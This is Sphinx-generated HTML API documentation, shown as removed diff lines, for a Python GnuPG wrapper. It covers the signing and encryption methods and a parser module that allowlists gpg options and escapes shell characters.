containing the keyids to -request.</li> -<li><strong>keyserver</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The keyserver to request the <tt class="docutils literal"><span class="pre">keyids</span></tt> from; -defaults to <cite>gnupg.GPG.keyserver</cite>.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._sign_file"> -<tt class="descname">_sign_file</tt><big>(</big><em>file</em>, <em>default_key=None</em>, <em>passphrase=None</em>, <em>clearsign=True</em>, <em>detach=False</em>, <em>binary=False</em>, <em>digest_algo='SHA512'</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._sign_file"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._sign_file" title="Permalink to this definition">¶</a></dt> -<dd><p>Create a signature for a file.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>file</strong> – The file stream (i.e. it’s already been open()’d) to sign.</li> -<li><strong>default_key</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The key to sign with.</li> -<li><strong>passphrase</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The passphrase to pipe to stdin.</li> -<li><strong>clearsign</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, create a cleartext signature.</li> -<li><strong>detach</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, create a detached signature.</li> -<li><strong>binary</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, do not ascii armour the output.</li> -<li><strong>digest_algo</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The hash digest to use. Again, to see which -hashes your GnuPG is capable of using, do: -<tt class="docutils literal"><span class="pre">$</span> <span class="pre">gpg</span> <span class="pre">--with-colons</span> <span class="pre">--list-config</span> -<span class="pre">digestname</span></tt>. The default, if unspecified, is -<tt class="docutils literal"><span class="pre">'SHA512'</span></tt>.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg._meta.GPGBase._encrypt"> -<tt class="descname">_encrypt</tt><big>(</big><em>data</em>, <em>recipients</em>, <em>default_key=None</em>, <em>passphrase=None</em>, <em>armor=True</em>, <em>encrypt=True</em>, <em>symmetric=False</em>, <em>always_trust=True</em>, <em>output=None</em>, <em>cipher_algo='AES256'</em>, <em>digest_algo='SHA512'</em>, <em>compress_algo='ZLIB'</em><big>)</big><a class="reference internal" href="_modules/gnupg/_meta.html#GPGBase._encrypt"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._meta.GPGBase._encrypt" title="Permalink to this definition">¶</a></dt> -<dd><p>Encrypt the message read from the file-like object <strong>data</strong>.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>data</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The file or bytestream to encrypt.</li> -<li><strong>recipients</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The recipients to encrypt to. Recipients must -be specified keyID/fingerprint.</li> -</ul> -</td> -</tr> -</tbody> -</table> -<div class="admonition warning"> -<p class="first admonition-title">Warning</p> -<p class="last">Care should be taken in Python2 to make sure that the -given fingerprints for <strong>recipients</strong> are in fact strings -and not unicode objects.</p> -</div> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>default_key</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The keyID/fingerprint of the key to use for -signing. If given, <strong>data</strong> will be encrypted -<em>and</em> signed.</li> -<li><strong>passphrase</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – If given, and <strong>default_key</strong> is also given, -use this passphrase to unlock the secret -portion of the <strong>default_key</strong> to sign the -encrypted <strong>data</strong>. Otherwise, if -<strong>default_key</strong> is not given, but <strong>symmetric</strong> -is <tt class="docutils literal"><span class="pre">True</span></tt>, then use this passphrase as the -passphrase for symmetric encryption. Signing -and symmetric encryption should <em>not</em> be -combined when sending the <strong>data</strong> to other -recipients, else the passphrase to the secret -key would be shared with them.</li> -<li><strong>armor</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, ascii armor the output; otherwise, the -output will be in binary format. (Default: True)</li> -<li><strong>encrypt</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, encrypt the <strong>data</strong> using the -<strong>recipients</strong> public keys. (Default: True)</li> -<li><strong>symmetric</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, encrypt the <strong>data</strong> to <strong>recipients</strong> -using a symmetric key. See the <strong>passphrase</strong> -parameter. Symmetric encryption and public key -encryption can be used simultaneously, and will -result in a ciphertext which is decryptable -with either the symmetric <strong>passphrase</strong> or one -of the corresponding private keys.</li> -<li><strong>always_trust</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, ignore trust warnings on -<strong>recipients</strong> keys. If False, display trust -warnings. (default: True)</li> -<li><strong>output</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The output file to write to. If not specified, the -encrypted output is returned, and thus should be -stored as an object in Python. For example:</li> -</ul> -</td> -</tr> -</tbody> -</table> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">shutil</span> -<span class="gp">>>> </span><span class="kn">import</span> <span class="nn">gnupg</span> -<span class="gp">>>> </span><span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="s">"doctests"</span><span class="p">):</span> -<span class="gp">... </span> <span class="n">shutil</span><span class="o">.</span><span class="n">rmtree</span><span class="p">(</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">gpg</span> <span class="o">=</span> <span class="n">gnupg</span><span class="o">.</span><span class="n">GPG</span><span class="p">(</span><span class="n">homedir</span><span class="o">=</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">key_settings</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key_input</span><span class="p">(</span><span class="n">key_type</span><span class="o">=</span><span class="s">'RSA'</span><span class="p">,</span> -<span class="gp">... </span> <span class="n">key_length</span><span class="o">=</span><span class="mi">1024</span><span class="p">,</span> -<span class="gp">... </span> <span class="n">key_usage</span><span class="o">=</span><span class="s">'ESCA'</span><span class="p">,</span> -<span class="gp">... </span> <span class="n">passphrase</span><span class="o">=</span><span class="s">'foo'</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">key</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key</span><span class="p">(</span><span class="n">key_settings</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">message</span> <span class="o">=</span> <span class="s">"The crow flies at midnight."</span> -<span class="gp">>>> </span><span class="n">encrypted</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">gpg</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">key</span><span class="o">.</span><span class="n">printprint</span><span class="p">))</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">encrypted</span> <span class="o">!=</span> <span class="n">message</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="ow">not</span> <span class="n">encrypted</span><span class="o">.</span><span class="n">isspace</span><span class="p">()</span> -<span class="gp">>>> </span><span class="n">decrypted</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">gpg</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">encrypted</span><span class="p">))</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="ow">not</span> <span class="n">decrypted</span><span class="o">.</span><span class="n">isspace</span><span class="p">()</span> -<span class="gp">>>> </span><span class="n">decrypted</span> -<span class="go">'The crow flies at midnight.'</span> -</pre></div> -</div> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>cipher_algo</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The cipher algorithm to use. To see available -algorithms with your version of GnuPG, do: -<strong class="command">$ gpg –with-colons –list-config -ciphername</strong>. The default <strong>cipher_algo</strong>, if -unspecified, is <tt class="docutils literal"><span class="pre">'AES256'</span></tt>.</li> -<li><strong>digest_algo</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The hash digest to use. Again, to see which -hashes your GnuPG is capable of using, do: -<strong class="command">$ gpg –with-colons –list-config -digestname</strong>. The default, if unspecified, is -<tt class="docutils literal"><span class="pre">'SHA512'</span></tt>.</li> -<li><strong>compress_algo</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The compression algorithm to use. Can be one -of <tt class="docutils literal"><span class="pre">'ZLIB'</span></tt>, <tt class="docutils literal"><span class="pre">'BZIP2'</span></tt>, <tt class="docutils literal"><span class="pre">'ZIP'</span></tt>, or -<tt class="docutils literal"><span class="pre">'Uncompressed'</span></tt>.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -</dd></dl> - -</div> -<div class="section" id="parsers-module"> -<span id="parsers"></span><h2>parsers module<a class="headerlink" href="#parsers-module" title="Permalink to this headline">¶</a></h2> -<p>These are classes for parsing both user inputs and status file descriptor -flags from GnuPG’s output. The latter are used in order to determine what our -GnuPG process is doing and retrieve information about its operations, which -are stored in corresponding classes in -<tt class="xref py py-attr docutils literal"><span class="pre">_result_map</span></tt>. Some status flags aren’t handled yet -– information on <em>all</em> of the flags (well, at least the documented ones…) can -be found in the <tt class="file docutils literal"><span class="pre">docs/DETAILS</span></tt> file in GnuPG’s <a class="reference external" href="http://http://git.gnupg.org/cgi-bin/gitweb.cgi?p=gnupg.git;a=shortlog;h=refs/heads/master">source</a>, which has been -included <a class="reference external" href="./_static/DETAILS.html">here</a> as well.</p> -<span class="target" id="module-gnupg._parsers"></span><p>Classes for parsing GnuPG status messages and sanitising commandline -options.</p> -<dl class="exception"> -<dt id="gnupg._parsers.ProtectedOption"> -<em class="property">exception </em><tt class="descname">ProtectedOption</tt><a class="reference internal" href="_modules/gnupg/_parsers.html#ProtectedOption"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.ProtectedOption" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.Exception" title="(in Python v2.7)"><tt class="xref py py-class docutils literal"><span class="pre">exceptions.Exception</span></tt></a></p> -<p>Raised when the option passed to GPG is disallowed.</p> -</dd></dl> - -<dl class="exception"> -<dt id="gnupg._parsers.UsageError"> -<em class="property">exception </em><tt class="descname">UsageError</tt><a class="reference internal" href="_modules/gnupg/_parsers.html#UsageError"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.UsageError" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <a class="reference external" href="http://docs.python.org/library/exceptions.html#exceptions.Exception" title="(in Python v2.7)"><tt class="xref py py-class docutils literal"><span class="pre">exceptions.Exception</span></tt></a></p> -<p>Raised when incorrect usage of the API occurs..</p> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers._check_keyserver"> -<tt class="descname">_check_keyserver</tt><big>(</big><em>location</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#_check_keyserver"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers._check_keyserver" title="Permalink to this definition">¶</a></dt> -<dd><p>Check that a given keyserver is a known protocol and does not contain -shell escape characters.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>location</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – A string containing the default keyserver. This -should contain the desired keyserver protocol which -is supported by the keyserver, for example, the -default is <tt class="docutils literal"><span class="pre">'hkp://wwwkeys</span> <span class="pre">.pgp.net'</span></tt>.</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body"><a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">str</span></tt></a> or <a class="reference external" href="http://docs.python.org/library/constants.html#None" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">None</span></tt></a></td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body">A string specifying the protocol and keyserver hostname, if the -checks passed. If not, returns None.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers._check_preferences"> -<tt class="descname">_check_preferences</tt><big>(</big><em>prefs</em>, <em>pref_type=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#_check_preferences"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers._check_preferences" title="Permalink to this definition">¶</a></dt> -<dd><p>Check cipher, digest, and compression preference settings.</p> -<p>MD5 is not allowed. This is <a class="reference external" href="http://www.cs.colorado.edu/~jrblack/papers/md5e-full.pdf">not 1994</a>. SHA1 is <a class="reference external" href="http://eprint.iacr.org/2008/469.pdf">allowed</a> <a class="reference external" href="https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html">grudgingly</a>.</p> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers._fix_unsafe"> -<tt class="descname">_fix_unsafe</tt><big>(</big><em>shell_input</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#_fix_unsafe"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers._fix_unsafe" title="Permalink to this definition">¶</a></dt> -<dd><p>Find characters used to escape from a string into a shell, and wrap them in -quotes if they exist. Regex pilfered from Python3 <a class="reference external" href="http://docs.python.org/library/shlex.html#module-shlex" title="(in Python v2.7)"><tt class="xref py py-mod docutils literal"><span class="pre">shlex</span></tt></a> module.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>shell_input</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The input intended for the GnuPG process.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers._hyphenate"> -<tt class="descname">_hyphenate</tt><big>(</big><em>input</em>, <em>add_prefix=False</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#_hyphenate"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers._hyphenate" title="Permalink to this definition">¶</a></dt> -<dd><p>Change underscores to hyphens so that object attributes can be easily -tranlated to GPG option names.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first simple"> -<li><strong>input</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The attribute to hyphenate.</li> -<li><strong>add_prefix</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, add leading hyphens to the input.</li> -</ul> -</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body"><p class="first">str</p> -</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body"><p class="first last">The <tt class="docutils literal"><span class="pre">input</span></tt> with underscores changed to hyphens.</p> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers._is_allowed"> -<tt class="descname">_is_allowed</tt><big>(</big><em>input</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#_is_allowed"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers._is_allowed" title="Permalink to this definition">¶</a></dt> -<dd><p>Check that an option or argument given to GPG is in the set of allowed -options, the latter being a strict subset of the set of all options known -to GPG.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><p class="first"><strong>input</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – An input meant to be parsed as an option or flag to the -GnuPG process. Should be formatted the same as an option -or flag to the commandline gpg, i.e. “–encrypt-files”.</p> -</td> -</tr> -<tr class="field-even field"><th class="field-name">Variables:</th><td class="field-body"><ul class="first simple"> -<li><strong>gnupg_options</strong> (<a class="reference external" href="http://docs.python.org/library/stdtypes.html#frozenset" title="(in Python v2.7)"><em>frozenset</em></a>) – All known GPG options and flags.</li> -<li><strong>allowed</strong> (<a class="reference external" href="http://docs.python.org/library/stdtypes.html#frozenset" title="(in Python v2.7)"><em>frozenset</em></a>) – All allowed GPG options and flags, e.g. all GPG -options and flags which we are willing to -acknowledge and parse. If we want to support a -new option, it will need to have its own parsing -class and its name will need to be added to this -set.</li> -</ul> -</td> -</tr> -<tr class="field-odd field"><th class="field-name">Raises:</th><td class="field-body"><p class="first"><a class="reference internal" href="#gnupg._parsers.UsageError" title="gnupg._parsers.UsageError"><tt class="xref py py-exc docutils literal"><span class="pre">UsageError</span></tt></a> if <strong>input</strong> is not a subset of the hard-coded -set of all GnuPG options in <a class="reference internal" href="#gnupg._parsers._get_all_gnupg_options" title="gnupg._parsers._get_all_gnupg_options"><tt class="xref py py-func docutils literal"><span class="pre">_get_all_gnupg_options()</span></tt></a>.</p> -<p><a class="reference internal" href="#gnupg._parsers.ProtectedOption" title="gnupg._parsers.ProtectedOption"><tt class="xref py py-exc docutils literal"><span class="pre">ProtectedOption</span></tt></a> if <strong>input</strong> is not in the set of allowed -options.</p> -</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body"><p class="first">str</p> -</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body"><p class="first last">The original <strong>input</strong> parameter, unmodified and unsanitized, if -no errors occur.</p> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers._is_hex"> -<tt class="descname">_is_hex</tt><big>(</big><em>string</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#_is_hex"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers._is_hex" title="Permalink to this definition">¶</a></dt> -<dd><p>Check that a string is hexidecimal, with alphabetic characters -capitalized and without whitespace.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>string</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The string to check.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers._is_string"> -<tt class="descname">_is_string</tt><big>(</big><em>thing</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#_is_string"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers._is_string" title="Permalink to this definition">¶</a></dt> -<dd><p>Python character arrays are a mess.</p> -<p>If Python2, check if <strong>thing</strong> is an <a class="reference external" href="http://docs.python.org/library/functions.html#unicode" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">unicode</span></tt></a> or a <a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">str</span></tt></a>. -If Python3, check if <strong>thing</strong> is a <a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">str</span></tt></a>.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>thing</strong> – The thing to check.</td> -</tr> -<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body"><tt class="docutils literal"><span class="pre">True</span></tt> if <strong>thing</strong> is a string according to whichever version -of Python we’re running in.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers._sanitise"> -<tt class="descname">_sanitise</tt><big>(</big><em>*args</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#_sanitise"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers._sanitise" title="Permalink to this definition">¶</a></dt> -<dd><p>Take an arg or the key portion of a kwarg and check that it is in the -set of allowed GPG options and flags, and that it has the correct -type. Then, attempt to escape any unsafe characters. If an option is not -allowed, drop it with a logged warning. Returns a dictionary of all -sanitised, allowed options.</p> -<p>Each new option that we support that is not a boolean, but instead has -some additional inputs following it, i.e. “–encrypt-file foo.txt”, will -need some basic safety checks added here.</p> -<p>GnuPG has three-hundred and eighteen commandline flags. Also, not all -implementations of OpenPGP parse PGP packets and headers in the same way, -so there is added potential there for messing with calls to GPG.</p> -<p>For information on the PGP message format specification, see -<span class="target" id="index-0"></span><a class="rfc reference external" href="http://tools.ietf.org/html/rfc1991.html"><strong>RFC 1991</strong></a>.</p> -<p>If you’re asking, “Is this <em>really</em> necessary?”: No, not really – we could -just follow the security precautions recommended by <a class="reference external" href="https://xkcd.com/1181/">this xkcd</a>.</p> -<blockquote> -<div></div></blockquote> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>args</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – (optional) The boolean arguments which will be passed to -the GnuPG process.</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body">str</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body"><tt class="docutils literal"><span class="pre">sanitised</span></tt></td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers._sanitise_list"> -<tt class="descname">_sanitise_list</tt><big>(</big><em>arg_list</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#_sanitise_list"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers._sanitise_list" title="Permalink to this definition">¶</a></dt> -<dd><p>A generator for iterating through a list of gpg options and sanitising -them.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>arg_list</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#list" title="(in Python v2.7)"><em>list</em></a>) – A list of options and flags for GnuPG.</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body">generator</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body">A generator whose next() method returns each of the items in -<tt class="docutils literal"><span class="pre">arg_list</span></tt> after calling <tt class="docutils literal"><span class="pre">_sanitise()</span></tt> with that item as a -parameter.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers._get_options_group"> -<tt class="descname">_get_options_group</tt><big>(</big><em>group=None</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#_get_options_group"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers._get_options_group" title="Permalink to this definition">¶</a></dt> -<dd><p>Get a specific group of options which are allowed.</p> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers._get_all_gnupg_options"> -<tt class="descname">_get_all_gnupg_options</tt><big>(</big><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#_get_all_gnupg_options"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers._get_all_gnupg_options" title="Permalink to this definition">¶</a></dt> -<dd><p>Get all GnuPG options and flags.</p> -<p>This is hardcoded within a local scope to reduce the chance of a tampered -GnuPG binary reporting falsified option sets, i.e. because certain options -(namedly the <tt class="docutils literal"><span class="pre">--no-options</span></tt> option, which prevents the usage of gpg.conf -files) are necessary and statically specified in -<a class="reference internal" href="#gnupg._meta.GPGBase._make_args" title="gnupg._meta.GPGBase._make_args"><tt class="xref py py-meth docutils literal"><span class="pre">gnupg._meta.GPGBase._make_args()</span></tt></a>, if the inputs into Python are -already controlled, and we were to summon the GnuPG binary to ask it for -its options, it would be possible to receive a falsified options set -missing the <tt class="docutils literal"><span class="pre">--no-options</span></tt> option in response. This seems unlikely, and -the method is stupid and ugly, but at least we’ll never have to debug -whether or not an option <em>actually</em> disappeared in a different GnuPG -version, or some funny business is happening.</p> -<p>These are the options as of GnuPG 1.4.12; the current stable branch of the -2.1.x tree contains a few more – if you need them you’ll have to add them -in here.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Variables:</th><td class="field-body"><strong>gnupg_options</strong> – All known GPG options and flags.</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body">frozenset</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body"><tt class="docutils literal"><span class="pre">gnupg_options</span></tt></td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers.nodata"> -<tt class="descname">nodata</tt><big>(</big><em>status_code</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#nodata"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.nodata" title="Permalink to this definition">¶</a></dt> -<dd><p>Translate NODATA status codes from GnuPG to messages.</p> -</dd></dl> - -<dl class="function"> -<dt id="gnupg._parsers.progress"> -<tt class="descname">progress</tt><big>(</big><em>status_code</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#progress"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.progress" title="Permalink to this definition">¶</a></dt> -<dd><p>Translate PROGRESS status codes from GnuPG to messages.</p> -</dd></dl> - -<dl class="class"> -<dt id="gnupg._parsers.GenKey"> -<em class="property">class </em><tt class="descname">GenKey</tt><big>(</big><em>gpg</em><big>)</big><a class="reference internal" href="_modules/gnupg/_parsers.html#GenKey"><span class="viewcode-link">[source]</span></a><a class="headerlink" href="#gnupg._parsers.GenKey" title="Permalink to this definition">¶</a></dt> -<dd><p>Bases: <tt class="xref py py-class docutils literal"><span class="pre">object</span></tt></p> -<p>Handle status messages for key generation.</p> -<p>Calling the <tt class="docutils literal"><span class="pre">__str__()</span></tt> method of this class will return the generated -key’s fingerprint, or a status string explaining the results.</p> -<dl class="attribute"> -<dt id="gnupg._parsers.GenKey.type"> -<tt class="descname">type</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.GenKey.type" title="Permalink to this definition">¶</a></dt> -<dd><p>‘P’:= primary, ‘S’:= subkey, ‘B’:= both</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.GenKey.keyring"> -<tt class="descname">keyring</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.GenKey.keyring" title="Permalink to this definition">¶</a></dt> -<dd><p>This will store the key’s public keyring filename, if -<a class="reference internal" href="#gnupg.GPG.gen_key_input" title="gnupg.GPG.gen_key_input"><tt class="xref py py-meth docutils literal"><span class="pre">gen_key_input()</span></tt></a> was called with -<tt class="docutils literal"><span class="pre">separate_keyring=True</span></tt>.</p> -</dd></dl> - -<dl class="attribute"> -<dt id="gnupg._parsers.GenKey.secring"> -<tt class="descname">secring</tt><em class="property"> = None</em><a class="headerlink" href="#gnupg._parsers.GenKey.secring" title="Permalink to this definition">¶</a></dt> -<dd><p>This will store the key’s secret keyring filename, if : -<a class="reference internal" href="#gnupg.GPG.gen_key_input" title="gnupg.GPG.gen_key_input"><tt class="xref py py-meth docutils literal"><span class="pre">gen_key_input()</span></tt></a> was called with -<tt class="docutils literal"><span class="pre">separate_keyring=True</span></tt>.</p> -</dd></dl> - -<dl class="method"> -<dt 